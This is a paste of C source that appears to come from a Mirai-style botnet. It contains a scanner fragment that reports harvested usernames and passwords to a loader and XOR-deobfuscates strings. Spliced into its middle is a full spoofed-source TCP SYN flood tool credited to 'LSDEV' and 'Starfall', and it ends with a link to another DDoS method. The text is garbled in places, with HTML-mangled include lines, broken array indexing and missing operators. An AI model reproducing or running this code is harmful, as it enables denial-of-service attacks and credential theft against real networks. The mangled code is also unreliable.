  886.     send(fd, auth->username, auth->username_len, MSG_NOSIGNAL);
  887.     send(fd, &(auth->password_len), sizeof (uint8_t), MSG_NOSIGNAL);
  888.     send(fd, auth->password, auth->password_len, MSG_NOSIGNAL);
  889.  
  890. #ifdef DEBUG
  891.     printf("[report] Send scan result to loader\n");
  892. #endif
  893.  
  894.     close(fd);
  895.     exit(0);
  896. }
  897.  
  898. static char *deobf(char *str, int *len)
  899. {
  900.     int i;
  901.     char *cpy;
  902.  
  903.     *len = util_strlen(str);
  904.     cpy = malloc(*len + 1);
  905.  
  906.     util_memcpy(cpy, str, *len + 1);
  907.  
  908.     for (i = 0; i < *len; i++)
  909.     {
  910.         cpy[i] ^= 0xDE;
  911.         cpy[i] ^= 0xAD;
  912.         cpy[i] ^= 0xBE;
  913.         cpy[i] ^= 0xEF;
  914.     }
  915.  
  916.     return cpy;
  917. }
  918. #include <pthread.h>#include <unistd.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys socket.h="">#include <netinet ip.h="">#include <netinet tcp.h="">#include <time.h>#define MAX_PACKET_SIZE 4096
  919. #define PHI 0x9e3779b9
  920.  
  921. static unsigned long int Q[4096], c = 362436;
  922. static unsigned int floodport;
  923. volatile int limiter;
  924. volatile unsigned int pps;
  925. volatile unsigned int sleeptime = 100;
  926.  
  927. void init_rand(unsigned long int x)
  928. {
  929.         int i;
  930.         Q[0] = x;
  931.         Q[1] = x + PHI;
  932.         Q[2] = x + PHI + PHI;
  933.         for (i = 3; i < 4096; i++){ Q _= Q _^ Q _^ PHI ^ i; }
  934. }
  935. unsigned long int rand_cmwc(void)
  936. {
  937.         unsigned long long int t, a = 18782LL;
  938.         static unsigned long int i = 4095;
  939.         unsigned long int x, r = 0xfffffffe;
  940.         i = (i + 1) & 4095;
  941.         t = a * Q _+ c;
  942.         c = (t >> 32);
  943.         x = t + c;
  944.         if (x < c) {
  945.                 x++;
  946.                 c++;
  947.         }
  948.         return (Q _= r - x);
  949. }
  950. unsigned short csum (unsigned short *buf, int count)
  951. {
  952.         register unsigned long sum = 0;
  953.         while( count > 1 ) { sum += *buf++; count -= 2; }
  954.         if(count > 0) { sum += *(unsigned char *)buf; }
  955.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  956.         return (unsigned short)(~sum);
  957. }
  958.  
  959. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  960.  
  961. struct tcp_pseudo
  962.         {
  963.                 unsigned long src_addr;
  964.                 unsigned long dst_addr;
  965.                 unsigned char zero;
  966.                 unsigned char proto;
  967.                 unsigned short length;
  968.         } pseudohead;
  969.         unsigned short total_len = iph->tot_len;
  970.         pseudohead.src_addr=iph->saddr;
  971.         pseudohead.dst_addr=iph->daddr;
  972.         pseudohead.zero=0;
  973.         pseudohead.proto=IPPROTO_TCP;
  974.         pseudohead.length=htons(sizeof(struct tcphdr));
  975.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  976.         unsigned short *tcp = malloc(totaltcp_len);
  977.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  978.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  979.         unsigned short output = csum(tcp,totaltcp_len);
  980.         free(tcp);
  981.         return output;
  982. }
  983.  
  984. void setup_ip_header(struct iphdr *iph)
  985. {
  986.         char ip[17];
  987.         snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
  988.         iph->ihl = 5;
  989.         iph->version = 4;
  990.         iph->tos = 0;
  991.         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  992.         iph->id = htonl(rand()%54321);
  993.         iph->frag_off = 0;
  994.         iph->ttl = MAXTTL;
  995.         iph->protocol = 6;
  996.         iph->check = 0;
  997.         iph->saddr = inet_addr(ip);
  998. }
  999.  
  1000. void setup_tcp_header(struct tcphdr *tcph)
  1001. {
  1002.         tcph->source = htons(rand()%65535);
  1003.         tcph->seq = rand();
  1004.         tcph->ack_seq = 0;
  1005.         tcph->res2 = 0;
  1006.         tcph->doff = 5;
  1007.         tcph->syn = 1;
  1008.         tcph->window = htonl(65535);
  1009.         tcph->check = 0;
  1010.         tcph->urg_ptr = 0;
  1011. }
  1012.  
  1013. void *flood(void *par1)
  1014. {
  1015.         char *td = (char *)par1;
  1016.         char datagram[MAX_PACKET_SIZE];
  1017.         struct iphdr *iph = (struct iphdr *)datagram;
  1018.         struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  1019.      
  1020.         struct sockaddr_in sin;
  1021.         sin.sin_family = AF_INET;
  1022.         sin.sin_port = htons(floodport);
  1023.         sin.sin_addr.s_addr = inet_addr(td);
  1024.  
  1025. int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  1026.         if(s < 0){
  1027.                 fprintf(stderr, "Could not open raw socket.\n");
  1028.                 exit(-1);
  1029.         }
  1030.         memset(datagram, 0, MAX_PACKET_SIZE);
  1031.         setup_ip_header(iph);
  1032.         setup_tcp_header(tcph);
  1033.  
  1034. tcph->dest = htons(floodport);
  1035.  
  1036. iph->daddr = sin.sin_addr.s_addr;
  1037.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  1038.  
  1039. int tmp = 1;
  1040.         const int *val = &tmp;
  1041.         if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  1042.                 fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  1043.                 exit(-1);
  1044.         }
  1045.  
  1046. init_rand(time(NULL));
  1047.         register unsigned int i;
  1048.         i = 0;
  1049.         while(1){
  1050.                 sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  1051.                 setup_ip_header(iph);
  1052.                 setup_tcp_header(tcph);
  1053.                 iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  1054.                 iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  1055.  
  1056. tcph->dest = htons(floodport);
  1057.  
  1058. iph->daddr = sin.sin_addr.s_addr;
  1059.  
  1060. iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  1061.                 tcph->seq = rand_cmwc() & 0xFFFF;
  1062.                 tcph->source = htons(rand_cmwc() & 0xFFFF);
  1063.                 tcph->check = 0;
  1064.                 tcph->check = tcpcsum(iph, tcph);
  1065.              
  1066.                 pps++;
  1067.                 if(i >= limiter)
  1068.                 {
  1069.                         i = 0;
  1070.                         usleep(sleeptime);
  1071.                 }
  1072.                 i++;
  1073.         }
  1074. }
  1075. int main(int argc, char *argv[ ])
  1076. {
  1077.         if(argc < 6){
  1078.                 fprintf(stderr, "Invalid parameters!\n");
  1079.                 fprintf(stdout, "SSYN Flooder by LSDEV\nImproved by Starfall\nUsage: %s <target ip=""><port to="" be="" flooded=""><number threads="" to="" use=""><pps limiter,="" -1="" for="" no="" limit=""><time>\n", argv[0]);
  1080.                 exit(-1);
  1081.         }
  1082.         srand(time(0));
  1083.         fprintf(stdout, "Tank: So what do you need? Besides a miracle.\nNeo: Packets. Lots of packets.\n");
  1084.  
  1085. int num_threads = atoi(argv[3]);
  1086.         floodport = atoi(argv[2]);
  1087.         int maxpps = atoi(argv[4]);
  1088.         limiter = 0;
  1089.         pps = 0;
  1090.         pthread_t thread[num_threads];
  1091.      
  1092.         int multiplier = 20;
  1093.  
  1094. int i;
  1095.         for(i = 0;i<num_threads;i++){<br>                pthread_create( &thread_, NULL, &flood, (void *)argv[1]);
  1096.         }
  1097.         for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  1098.         {
  1099.                 usleep((1000/multiplier)1000);
  1100.                 if((ppsmultiplier) > maxpps)
  1101.                 {
  1102.                         if(1 > limiter)
  1103.                         {
  1104.                                 sleeptime+=100;
  1105.                         } else {
  1106.                                 limiter–;
  1107.                         }
  1108.                 } else {
  1109.                         limiter++;
  1110.                         if(sleeptime > 25)
  1111.                         {
  1112.                                 sleeptime-=25;
  1113.                         } else {
  1114.                                 sleeptime = 0;
  1115.                         }
  1116.                 }
  1117.                 pps = 0;
  1118.         }
  1119.  
  1120. return 0;
  1121. }</num_threads;i++){<br></time></pps></number></port></target>____</time.h></netinet></netinet></sys></string.h></stdlib.h></stdio.h></unistd.h></pthread.h>
  1122.  
  1123. static BOOL can_consume(struct scanner_connection *conn, uint8_t *ptr, int amount)
  1124. {
  1125.     uint8_t *end = conn->rdbuf + conn->rdbuf_pos;
  1126.  
  1127.     return ptr + amount < end;
  1128. }
  1129.  
  1130. #endif
  1131.  
  1132. //Other ddos method https://pastebin.com/qnawxnYg
Add Comment
Please, Sign In to add comment